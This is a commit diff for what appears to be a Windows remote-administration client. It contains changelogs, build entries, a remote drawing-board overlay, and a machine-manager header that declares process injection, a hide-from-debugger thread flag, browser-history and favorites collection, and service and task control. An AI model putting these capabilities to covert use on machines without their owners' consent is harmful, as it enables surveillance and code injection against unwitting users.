Release v1.4.0

Add 16x16 menu icons for the three experimental-features items in the
online-host right-click menu: file management (folder), privacy screen
(shield with padlock), and drawing board (paintbrush). The new bitmaps
follow the existing #F0F0F0-background 32bpp convention and are wired
into the m_bmOnline array via LoadBitmap and SetMenuItemBitmaps, using
the same pattern as the other nested-submenu items.

Co-Authored-By: deepseek-v4-pro

ReadMe.md

@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
 
 ## 更新日志
 
+### v1.4.0 (2026.10.7)
+
+**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
+
+**新功能：**
+- **SimplePlugins 功能迁移（实验功能）**：文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端，作为在线主机右键「实验功能」子菜单交付，配 16x16 图标（位图数组 66→69）
+- **MCP 设备管理控制工具**：新增 kill_process / operate_window / control_service / power_action（单一 McpManage 开关 + 关闭只读），ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲；MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
+- **远程交谈**：「远程交谈」工具栏按钮（COMMAND_CHAT 161 / TOKEN_CHAT_START 62）打开双向聊天，支持服务端触发屏幕锁 / 解锁
+- **TCP/UDP 连接管理**：工具栏按钮列出受管主机 TCP/UDP 连接，右键强制断开 IPv4 TCP（iphlpapi 枚举 + CConnectionsDlg）
+- **主机管理**：迁移 CMachineManager（进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入），COMMAND_MACHINE_MANAGE 162
+- **授权失败触发器**：新增 TRIGGER_AUTH_FAILED 触发类型（与主机上线触发独立），授权失败时下发插件 DLL，受 ShouldLogAuth 去重约束
+- **iPhone 远程音频**：WebAudio + 自托管 opus-decoder WASM 解码，修复 iOS 无 MSE 静音
+- **画质与传输控制**：远程桌面 / 屏幕预览质量等级菜单（各 6 档可配置）+ 文件传输速度对话框（7 档 + 无限档，CMD_FILE_SPEED 252）
+- **Shine/HELL 协议选择**：分享 / 传输主机时可选协议，尾随冒号字段透传，旧客户端兼容
+- **Go Web UI 子路径部署**：YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
+- **国际化**：德语（de_DE）第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐；远程桌面剪贴板按钮（全屏可达）
+
+**改进：**
+- 通知设置关键词改为多行输入（每行一个，存储仍分号分隔，兼容既有 notify.ini）
+
+**Bug 修复：**
+- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失（进程列表 kill 后空列表）
+- 即时消息弹窗标题乱码（GBK code_page 声明）
+- geo-IP 查询阻塞主机双击提示（仅本地库加载时查询 + 进程内缓存）
+- 主机管理 IE 历史字符串泄漏（CoTaskMemFree）、隐私屏幕 0xCC 乱码日志
+
 ### v1.3.9 (2026.9.2)
 
 **MCP 服务端集成（AI 远程管理）& 远程控制与文件传输闭环 & 主控增强**

ReadMe_EN.md

@@ -378,6 +378,32 @@ Valid     : 2026-02-01 to 2028-02-01
 
 ## Changelog
 
+### v1.4.0 (2026.10.7)
+
+**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
+
+**New features:**
+- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
+- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
+- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
+- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
+- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
+- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
+- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
+- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, CMD_FILE_SPEED 252)
+- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
+- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
+- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
+
+**Improvements:**
+- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
+
+**Bug fixes:**
+- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
+- Garbled instant-message popup title (GBK code_page declaration)
+- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
+- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
+
 ### v1.3.9 (2026.9.2)
 
 **MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**

ReadMe_TW.md

@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
 
 ## 更新日誌
 
+### v1.4.0 (2026.10.7)
+
+**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
+
+**新功能：**
+- **SimplePlugins 功能遷移（實驗功能）**：檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端，作為線上主機右鍵「實驗功能」子選單交付，配 16x16 圖示（位圖陣列 66→69）
+- **MCP 裝置管理控制工具**：新增 kill_process / operate_window / control_service / power_action（單一 McpManage 開關 + 關閉唯讀），ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝；MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
+- **遠端交談**：「遠端交談」工具列按鈕（COMMAND_CHAT 161 / TOKEN_CHAT_START 62）開啟雙向交談，支援伺服端觸發螢幕鎖 / 解鎖
+- **TCP/UDP 連線管理**：工具列按鈕列出受管主機 TCP/UDP 連線，右鍵強制斷開 IPv4 TCP（iphlpapi 列舉 + CConnectionsDlg）
+- **主機管理**：遷移 CMachineManager（處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入），COMMAND_MACHINE_MANAGE 162
+- **授權失敗觸發器**：新增 TRIGGER_AUTH_FAILED 觸發類型（與主機上線觸發獨立），授權失敗時下發外掛程式 DLL，受 ShouldLogAuth 去重約束
+- **iPhone 遠端音訊**：WebAudio + 自託管 opus-decoder WASM 解碼，修復 iOS 無 MSE 靜音
+- **品質與傳輸控制**：遠端桌面 / 螢幕預覽品質等級選單（各 6 檔可設定）+ 檔案傳輸速度對話框（7 檔 + 無限檔，CMD_FILE_SPEED 252）
+- **Shine/HELL 協定選擇**：分享 / 傳輸主機時可選協定，尾隨冒號欄位透傳，舊用戶端相容
+- **Go Web UI 子路徑部署**：YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
+- **國際化**：德語（de_DE）第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊；遠端桌面剪貼簿按鈕（全螢幕可達）
+
+**改進：**
+- 通知設定關鍵詞改為多行輸入（每行一個，儲存仍分號分隔，相容既有 notify.ini）
+
+**Bug 修復：**
+- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失（處理程序列表 kill 後空列表）
+- 即時訊息快顯視窗標題亂碼（GBK code_page 宣告）
+- geo-IP 查詢阻塞主機雙擊提示（僅本機資料庫載入時查詢 + 處理程序內快取）
+- 主機管理 IE 歷史字串洩漏（CoTaskMemFree）、隱私螢幕 0xCC 亂碼記錄
+
 ### v1.3.9 (2026.9.2)
 
 **MCP 伺服端整合（AI 遠端管理）& 遠端控制與檔案傳輸閉環 & 主控增強**

client/ClientDll_vs2015.vcxproj

@@ -187,6 +187,13 @@
     <ClCompile Include="ConPTYManager.cpp" />
     <ClCompile Include="ConnectionsManager.cpp" />
     <ClCompile Include="FileManager.cpp" />
+    <ClCompile Include="file\FileManager.cpp">
+      <ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
+    </ClCompile>
+    <ClCompile Include="file\MasterEncoder.cpp" />
+    <ClCompile Include="file\zip.cpp" />
+    <ClCompile Include="screenhide\ScreenHideManager.cpp" />
+    <ClCompile Include="DrawingBoardMgr.cpp" />
     <ClCompile Include="IOCPClient.cpp" />
     <ClCompile Include="IOCPKCPClient.cpp" />
     <ClCompile Include="IOCPUDPClient.cpp" />
@@ -217,6 +224,7 @@
     <ClCompile Include="EncoderFactory.cpp" />
     <ClCompile Include="TalkManager.cpp" />
     <ClCompile Include="ChatManager.cpp" />
+    <ClCompile Include="MachineManager.cpp" />
     <ClCompile Include="VideoManager.cpp" />
     <ClCompile Include="X264Encoder.cpp" />
   </ItemGroup>
@@ -239,6 +247,13 @@
     <ClInclude Include="ConPTYManager.h" />
     <ClInclude Include="CursorInfo.h" />
     <ClInclude Include="FileManager.h" />
+    <ClInclude Include="file\FileManager.h" />
+    <ClInclude Include="file\MasterEncoder.h" />
+    <ClInclude Include="file\zip.h" />
+    <ClInclude Include="screenhide\ScreenManagerBase.h" />
+    <ClInclude Include="screenhide\ScreenHideManager.h" />
+    <ClInclude Include="screenhide\ScreenHideSpy.h" />
+    <ClInclude Include="DrawingBoardMgr.h" />
     <ClInclude Include="IOCPClient.h" />
     <ClInclude Include="IOCPKCPClient.h" />
     <ClInclude Include="IOCPUDPClient.h" />
@@ -272,6 +287,8 @@
     <ClInclude Include="SystemManager.h" />
     <ClInclude Include="TalkManager.h" />
     <ClInclude Include="ChatManager.h" />
+    <ClInclude Include="MachineManager.h" />
+    <ClInclude Include="yapi.hpp" />
     <ClInclude Include="VideoCodec.h" />
     <ClInclude Include="VideoManager.h" />
     <ClInclude Include="X264Encoder.h" />

client/Common.cpp

@@ -4,8 +4,12 @@
 #include "Manager.h"
 #include "ScreenManager.h"
 #include "FileManager.h"
+#include "file/FileManager.h"
+#include "screenhide/ScreenHideManager.h"
+#include "DrawingBoardMgr.h"
 #include "TalkManager.h"
 #include "ChatManager.h"
+#include "MachineManager.h"
 #include "ShellManager.h"
 #include "SystemManager.h"
 #include "ConPTYManager.h"
@@ -107,6 +111,26 @@ DWORD WINAPI LoopChatManager(LPVOID lParam)
     return LoopManager<CChatManager, 0>(lParam);
 }
 
+DWORD WINAPI LoopMachineManager(LPVOID lParam)
+{
+    return LoopManager<CMachineManager, 0>(lParam);
+}
+
+DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
+{
+    return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
+}
+
+DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
+{
+    return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
+}
+
+DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
+{
+    return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
+}
+
 DWORD WINAPI LoopShellManager(LPVOID lParam)
 {
     // Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe

client/Common.h

@@ -29,6 +29,10 @@ DWORD WINAPI LoopScreenManager(LPVOID lParam);
 DWORD WINAPI LoopFileManager(LPVOID lParam);
 DWORD WINAPI LoopTalkManager(LPVOID lParam);
 DWORD WINAPI LoopChatManager(LPVOID lParam);
+DWORD WINAPI LoopMachineManager(LPVOID lParam);
+DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
+DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
+DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
 DWORD WINAPI LoopProcessManager(LPVOID lParam);
 DWORD WINAPI LoopWindowManager(LPVOID lParam);
 DWORD WINAPI LoopVideoManager(LPVOID lParam);

client/DrawingBoardMgr.cpp

@@ -0,0 +1,290 @@
+#include "DrawingBoardMgr.h"
+#include <tchar.h>
+
+#define MSG_CLEAR 999
+
+namespace SimplePluginsDrawingBoard {
+
+DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
+{
+	m_fAlpha = 150;
+	m_bIsWorking = TRUE;
+	m_bTopMost = TRUE;
+	m_hWnd = NULL;
+	m_textColor = RGB(255,0,0);
+	m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
+		DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
+		DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
+	m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
+	__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
+	BYTE	bToken = TOKEN_DRAWING_BOARD;
+	m_ClientObject->Send2Server((char*)&bToken, 1);
+}
+
+DrawingBoardMgr::~DrawingBoardMgr()
+{
+	m_bIsWorking = FALSE;
+	while (m_hWnd)
+		Sleep(200);
+	DeleteObject(m_DrawPen);
+	DeleteObject(m_Font);
+}
+
+DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
+{
+	Mprintf("Start DrawingThreadProc\n");
+	DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
+	pThis->RunWindowThread();
+	pThis->m_bIsWorking = FALSE;
+	Mprintf("Stop DrawingThreadProc\n");
+	return 0;
+}
+
+void DrawingBoardMgr::RunWindowThread()
+{
+	const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
+	static bool s_classRegistered = false;
+	if (!s_classRegistered) {
+		WNDCLASSEX wc = {};
+		wc.cbSize = sizeof(WNDCLASSEX);
+		wc.lpfnWndProc = DrawingBoardMgr::WndProc;
+		wc.hInstance = GetModuleHandle(NULL);
+		wc.lpszClassName = CLASS_NAME;
+		wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
+		wc.hIcon = NULL;     // 标题栏图标
+		wc.hIconSm = NULL;   // 小图标（Alt+Tab 和任务栏缩略图）
+		if (!RegisterClassEx(&wc)) {
+			Mprintf("RegisterClassEx failed: %d\n", GetLastError());
+		}
+		s_classRegistered = true;
+	}
+
+	DWORD dwStyle = WS_POPUP | WS_BORDER;
+	m_hWnd = CreateWindowEx(
+		WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
+		dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
+		NULL, NULL, GetModuleHandle(NULL), this
+	);
+	if (m_hWnd == NULL) return;
+
+	LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
+	style |= WS_BORDER; // 增加窄边框
+	style &= ~(WS_CAPTION | WS_THICKFRAME);  // 去掉标题栏和可调整边框
+	SetWindowLong(m_hWnd, GWL_STYLE, style);
+
+	// 去掉系统菜单
+	SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+	BringWindowToTop(m_hWnd);
+
+	// 透明度
+	SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
+
+	ShowWindow(m_hWnd, SW_SHOW);
+	UpdateWindow(m_hWnd);
+
+	MSG msg;
+	while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
+		TranslateMessage(&msg);
+		DispatchMessage(&msg);
+		Sleep(1);
+	}
+	if (m_hWnd)
+		PostMessage(m_hWnd, WM_CLOSE, 0, 0);
+	m_hWnd = NULL; // 线程退出后，窗口已销毁
+}
+
+LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
+{
+	DrawingBoardMgr* pThis = nullptr;
+
+	if (msg == WM_NCCREATE) {
+		CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
+		pThis = (DrawingBoardMgr*)cs->lpCreateParams;
+		SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
+	}
+	else {
+		pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
+	}
+
+	if (pThis) {
+		switch (msg) {
+		case WM_GETICON:
+			return NULL;
+		case WM_WINDOWPOSCHANGED:
+		{
+			WINDOWPOS* pwp = (WINDOWPOS*)lParam;
+			if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
+				// 如果窗口层级被改变，重新设置为顶层
+				SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
+					SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
+			}
+			break;
+		}
+		case WM_PAINT:
+		{
+			PAINTSTRUCT ps;
+			HDC hdc = BeginPaint(hWnd, &ps);
+
+			HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
+			HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
+			pThis->m_locker.lock();
+			auto paths = pThis->m_Paths;
+			auto currentPath = pThis->m_CurrentPath;
+			auto texts = pThis->m_Texts;
+			pThis->m_locker.unlock();
+			// 画所有历史路径
+			for (const auto& path : paths)
+			{
+				if (path.size() >= 2)
+					Polyline(hdc, path.data(), (int)path.size());
+			}
+
+			// 画当前路径
+			if (currentPath.size() >= 2)
+			{
+				Polyline(hdc, currentPath.data(), (int)currentPath.size());
+			}
+
+			// 绘制文字
+			SetTextColor(hdc, pThis->m_textColor);            // 设置文本颜色
+			SetBkMode(hdc, TRANSPARENT);                      // 设置透明背景
+			for (const auto& entry : texts)
+				TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
+
+			SelectObject(hdc, hOldPen);
+			SelectObject(hdc, hOldFont);
+
+			EndPaint(hWnd, &ps);
+			return 0;
+		}
+		case WM_DESTROY:
+			PostQuitMessage(0);
+			return 0;
+		case MSG_CLEAR:
+			pThis->m_locker.lock();
+			pThis->m_Paths.clear();
+			pThis->m_CurrentPath.clear();
+			pThis->m_Texts.clear();
+			pThis->m_locker.unlock();
+			InvalidateRect(hWnd, NULL, TRUE);
+			break;
+		}
+	}
+
+	return DefWindowProc(hWnd, msg, wParam, lParam);
+}
+
+VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
+{
+	if (ulLength < 1) return;
+
+	BYTE cmd = szBuffer[0];
+
+	switch (cmd)
+	{
+	case CMD_DRAW_POINT:
+		if (ulLength == sizeof(POINT) + 1)
+		{
+			POINT pt = *(POINT*)(szBuffer + 1);
+			m_locker.lock();
+			m_CurrentPath.push_back(pt);
+			m_locker.unlock();
+			if (m_hWnd)
+				InvalidateRect(m_hWnd, NULL, FALSE);
+		}
+		break;
+	case CMD_DRAW_END:
+		m_locker.lock();
+		if (!m_CurrentPath.empty())
+		{
+			m_Paths.push_back(m_CurrentPath);
+			m_CurrentPath.clear();
+			if (m_hWnd)
+				InvalidateRect(m_hWnd, NULL, FALSE);
+		}
+		m_locker.unlock();
+		break;
+	case CMD_TRANSPORT:
+		m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
+		SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
+		break;
+	case CMD_TOPMOST:
+		m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
+		SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
+			SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+		break;
+	case CMD_MOVEWINDOW:
+		if (ulLength == sizeof(RECT) + 1)
+		{
+			RECT rect = *(RECT*)(szBuffer + 1);
+			if (m_hWnd && IsWindow(m_hWnd))
+			{
+				::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top, 
+					rect.right-rect.left, rect.bottom-rect.top,
+					SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
+			}
+		}
+		break;
+	case CMD_SET_SIZE: {
+		if (ulLength == sizeof(int) * 2 + 1) {
+			int x[2];
+			memcpy(x, szBuffer + 1, sizeof(int) * 2);
+			if (IsWindow(m_hWnd)) {
+				::SetWindowPos(m_hWnd, NULL, 0, 0,
+					x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
+			}
+		}
+		break;
+	}
+	case CMD_DRAW_CLEAR: {
+		PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
+		break;
+	}
+	case CMD_DRAW_TEXT: {
+		ParseRemoteText(szBuffer + 1, ulLength - 1);
+		break;
+	}
+	default:
+		break;
+	}
+}
+
+void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
+{
+	if (length < sizeof(POINT)) return;
+
+	// 提取位置
+	POINT pt = *(POINT*)data;
+	PBYTE textData = data + sizeof(POINT);
+	int textLen = (int)(length - sizeof(POINT));
+
+	// UTF-8 → WCHAR
+	int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
+	if (wideLen <= 0) return;
+
+	std::wstring wstr(wideLen, 0);
+	MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
+
+#ifdef _UNICODE
+	CString cstr(wstr.c_str());
+#else
+	// 若项目使用多字节字符集
+	int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
+	std::string cstr;
+	if (ansiLen > 0)
+	{
+		std::string ansi(ansiLen - 1, 0);
+		WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
+		cstr = ansi.c_str();
+	}
+#endif
+
+	// 存入本地图形对象并刷新绘图区域
+	m_locker.lock();
+	m_Texts.push_back(std::make_pair(pt, cstr));
+	m_locker.unlock();
+	if (m_hWnd)
+		InvalidateRect(m_hWnd, NULL, FALSE);
+}
+
+} // namespace SimplePluginsDrawingBoard

client/DrawingBoardMgr.h

@@ -0,0 +1,36 @@
+#pragma once
+#include "Manager.h"
+#include <vector>
+#include <string>
+#include "common/locker.h"
+
+namespace SimplePluginsDrawingBoard {
+
+class DrawingBoardMgr : public CManager
+{
+public:
+	DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
+	~DrawingBoardMgr();
+
+	virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+
+	void ParseRemoteText(PBYTE data, ULONG length);
+
+private:
+	BYTE							m_fAlpha;		// 透明度: 0-全透明, 255-不透明
+	BOOL							m_bTopMost;		// 顶层
+	BOOL							m_bIsWorking;	// 线程状态
+	HWND							m_hWnd;			// 窗口		
+	std::vector<std::vector<POINT>> m_Paths;		// 历史路径集合，每条路径是一组点
+	std::vector<POINT>				m_CurrentPath;  // 当前正在绘制的路径点集合
+	std::vector<std::pair<POINT, std::string>> m_Texts;
+	HFONT							m_Font;
+	COLORREF						m_textColor;
+	HPEN							m_DrawPen;
+	CLocker							m_locker;
+	static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
+	void RunWindowThread();
+	static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
+};
+
+} // namespace SimplePluginsDrawingBoard

client/KernelManager.cpp

@@ -1167,6 +1167,46 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
 
+    case COMMAND_MACHINE_MANAGE: {   // 主机管理
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
+        break;
+    }
+
+    case COMMAND_FILE_MANAGER_PLUGIN: {   // 插件文件管理（SimplePlugins 迁移）
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
+        break;
+    }
+
+    case COMMAND_PRIVATE_SCREEN_PLUGIN: {   // 隐私屏幕（虚拟桌面，SimplePlugins 迁移）
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
+        break;
+    }
+
+    case COMMAND_DRAWING_BOARD_PLUGIN: {   // 远程画板（SimplePlugins 迁移）
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
+        break;
+    }
+
     case COMMAND_SHELL: {
         if (!ENABLE_SHELL) {
             return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);

client/MachineManager.h

@@ -0,0 +1,204 @@
+#pragma once
+#include "Manager.h"
+#include <Iphlpapi.h>
+#include <tlhelp32.h>
+#include <map>
+#include <WINSOCK2.H>
+#include "yapi.hpp"
+
+#pragma comment(lib, "Iphlpapi.lib")
+#pragma comment(lib, "WS2_32.lib")
+
+#include <taskschd.h>
+#include <comutil.h>
+#pragma comment(lib, "taskschd.lib")
+#pragma comment(lib, "comsupp.lib")
+
+typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
+#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))
+
+#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED	0x00000001
+#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH  0x00000002
+#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER	0x00000004
+
+class CMachineManager : public CManager
+{
+public:
+    BOOL m_bUse;
+    CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
+    virtual ~CMachineManager();
+    virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
+private:
+    static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
+    static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
+    HWND GetHwndByPid(DWORD dwProcessID);
+    bool Is64BitOS();
+    bool Is64BitPorcess(DWORD dwProcessID);
+    char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName);
+    wchar_t* char2wchar_t(char* cstr);
+    BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
+    void DeleteService(LPBYTE lpBuffer, UINT nSize);
+    void MyControlService(LPBYTE lpBuffer, UINT nType);
+
+    void SendProcessList();
+    LPBYTE getProcessList();	//进程
+
+    void SendWindowsList();
+    LPBYTE getWindowsList();	//窗口
+
+    void SendNetStateList();
+    LPBYTE getNetStateList();
+
+    void SendSoftWareList();
+    LPBYTE getSoftWareList();	//软件列表
+
+    void SendIEHistoryList();
+    LPBYTE getIEHistoryList(); // 浏览记录
+
+    void SendFavoritesUrlList();
+    void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
+    LPBYTE getFavoritesUrlList(); //收藏夹
+
+    void SendServicesList(DWORD dwScType = SERVICE_WIN32);
+    LPBYTE getServiceList(DWORD dwScType);
+
+    PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset);  //获取目录下的所有任务
+    PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
+    PBYTE GetRoot();												   //获取根目录下的子文件夹
+
+    BOOL CreateTask(LPBYTE lpBuffer);							       //创建计划任务
+    BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action);                  //执行或停止
+    BOOL DelTask(LPBYTE lpBuffer);								       //删除计划任务
+    BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
+    void SaveData(const std::string& taskname, const std::string& path, 
+        const std::string& exepath, const std::string& status, 
+        DATE LastTime, DATE NextTime, PBYTE &data, int &offset);       //保存数据到缓冲区
+    DWORD	 m_dwServiceType;
+
+    void SendHostsList();
+
+    void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);
+
+    void SendError(const char* Terror);
+};
+
+struct  Browsinghistory {
+    char strTime[100];
+    char strTitle[1024];
+    char strUrl[1024];
+};
+
+
+typedef struct {
+    DWORD   dwState;          // 连接状态
+    DWORD   dwLocalAddr;      // 本地地址
+    DWORD   dwLocalPort;      // 本地端口
+    DWORD   dwRemoteAddr;     // 远程地址
+    DWORD   dwRemotePort;     // 远程端口
+    DWORD   dwProcessId;      // 进程ID号
+} MIB_TCPEXROW, * PMIB_TCPEXROW;
+
+typedef struct {
+    DWORD           dwNumEntries;
+    MIB_TCPEXROW    table[ANY_SIZE];
